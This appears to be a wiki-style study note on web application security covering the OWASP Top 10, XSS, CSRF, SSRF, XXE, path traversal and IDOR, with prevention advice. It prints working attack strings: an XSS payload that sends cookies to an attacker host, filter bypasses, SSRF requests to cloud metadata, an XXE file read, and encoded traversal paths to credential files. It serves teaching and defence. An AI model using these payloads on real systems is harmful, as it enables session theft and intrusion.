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Web Application Security Fundamentals

Core web application vulnerabilities and defenses: XSS (reflected, stored, DOM-based), CSRF, SSRF, XXE, path traversal, IDOR, and the OWASP Top 10. Covers both attack techniques and prevention patterns.

Key Facts

  • OWASP Top 10 (2021): #1 is Broken Access Control, not injection
  • Stored XSS is more dangerous than reflected XSS - no social engineering needed
  • Parameterized queries are the primary defense against SQL injection (see [[sql-injection-deep-dive]])
  • IDOR is the most common access control vulnerability - always check authorization server-side
  • CSP (Content Security Policy) is the strongest defense against XSS when properly configured

OWASP Top 10 (2021)

  1. A01 Broken Access Control - IDOR, privilege escalation
  2. A02 Cryptographic Failures - weak encryption, exposed data
  3. A03 Injection - SQLi, XSS, command injection
  4. A04 Insecure Design - architectural flaws
  5. A05 Security Misconfiguration - defaults, unnecessary features
  6. A06 Vulnerable Components - outdated libraries
  7. A07 Authentication Failures - broken auth, session management
  8. A08 Data Integrity Failures - insecure deserialization, CI/CD
  9. A09 Logging/Monitoring Failures - insufficient logging
  10. A10 SSRF - server-side request forgery

Cross-Site Scripting (XSS)

Types

Type Storage Trigger Impact
Reflected Not stored Victim clicks link Single user
Stored In database Any user views content All users
DOM-based Client-side only URL/input manipulation Single user

Attack Examples

<!-- Reflected XSS -->
https://example.com/search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

<!-- Stored XSS in comment field -->
<img src=x onerror=alert(document.cookie)>

<!-- DOM-based XSS -->
<script>document.getElementById('output').innerHTML = location.hash.substring(1);</script>

Filter Bypass Techniques

  • Case variation: <ScRiPt>alert(1)</ScRiPt>
  • Event handlers: <img src=x onerror=alert(1)>
  • Encoding: <script>alert(String.fromCharCode(88,83,83))</script>
  • Tag alternatives: <svg onload=alert(1)>, <body onload=alert(1)>

XSS Prevention

  • Output encoding per context (HTML entity, JavaScript, URL encoding)
  • CSP header: Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
  • HttpOnly cookies - prevent JS access to session cookies
  • DOMPurify for HTML sanitization
  • Never use innerHTML with untrusted data - use textContent

CSRF (Cross-Site Request Forgery)

Force authenticated user to perform unintended actions: 

<img src="https://bank.com/transfer?to=attacker&amount=10000">
Prevention: CSRF tokens, SameSite cookies, Origin header validation.

SSRF (Server-Side Request Forgery)

Make the server send requests to internal resources: 

POST /fetch?url=http://169.254.169.254/latest/meta-data/   # AWS metadata
POST /fetch?url=http://localhost:6379/                       # Internal Redis
POST /fetch?url=file:///etc/passwd                          # Local file read

XXE (XML External Entity)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
Prevention: disable external entity processing in XML parsers.

Path Traversal

http://target.com/file?name=../../../etc/passwd
http://target.com/file?name=..%2F..%2F..%2Fetc%2Fpasswd       # URL-encoded
http://target.com/file?name=%252e%252e%252f%252e%252e%252f     # Double-encoded
http://target.com/file?name=..\..\..\..\windows\system32\config\sam  # Windows

High-value target files: /etc/passwd, /etc/shadow, ~/.ssh/id_rsa, .env files, application configs with DB credentials.

Prevention: chroot/jail, whitelist filenames, canonicalize paths, use framework file-serving utilities.

IDOR (Insecure Direct Object Reference)

GET /api/orders/1234    # Own order
GET /api/orders/1235    # Another user's order - no authorization check

Prevention: - Authorization check on every access - verify requesting user owns the resource - Use UUIDs instead of sequential IDs (makes enumeration harder, does NOT replace access control) - Rate limiting to slow enumeration

Security Assessment Methods

  • White-box - full source code access, more thorough, time-consuming
  • Black-box - no internal knowledge, simulates real attacker, may miss logic flaws
  • Gray-box - partial knowledge (e.g., authenticated user perspective)

Gotchas

  • XSS in JSON API responses can still be exploited if the response is rendered in a browser context
  • CSP unsafe-inline defeats the purpose of CSP for XSS protection
  • SSRF blocklists for internal IPs can be bypassed with DNS rebinding, IPv6 mapped addresses, or URL parsing quirks
  • Path traversal ../ stripping can be bypassed with ....// (nested traversal)
  • IDOR with UUIDs is still exploitable if UUIDs are leaked elsewhere (logs, URLs, responses)

See Also

  • [[sql-injection-deep-dive]] - SQLi types, sqlmap, parameterized queries
  • [[burp-suite-and-web-pentesting]] - intercepting proxy, scanner, intruder
  • [[secure-backend-development]] - NestJS/Express security patterns
  • [[authentication-and-authorization]] - session management, JWT